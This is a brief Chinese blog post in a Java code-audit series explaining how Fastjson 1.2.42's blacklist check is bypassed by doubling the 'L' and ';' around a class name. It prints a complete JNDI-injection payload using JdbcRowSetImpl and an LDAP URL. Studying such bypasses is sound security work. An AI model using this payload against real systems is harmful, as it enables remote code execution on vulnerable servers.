Java代码审计——Fastjson1.2.42反序列化漏洞

反序列化总纲

1.2.24可参考：1.2.24fastjson

1.2.25-1.2.41 可参考：1.2.25

这篇就单纯划水~

长话短说，此漏洞需要开启AutoType

在check的时候会对类进行处理

处理之后就会删除L和;

那么payload:

String payload="{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}" ;

经过处理依旧是Lcom.sun.rowset.JdbcRowSetImpl;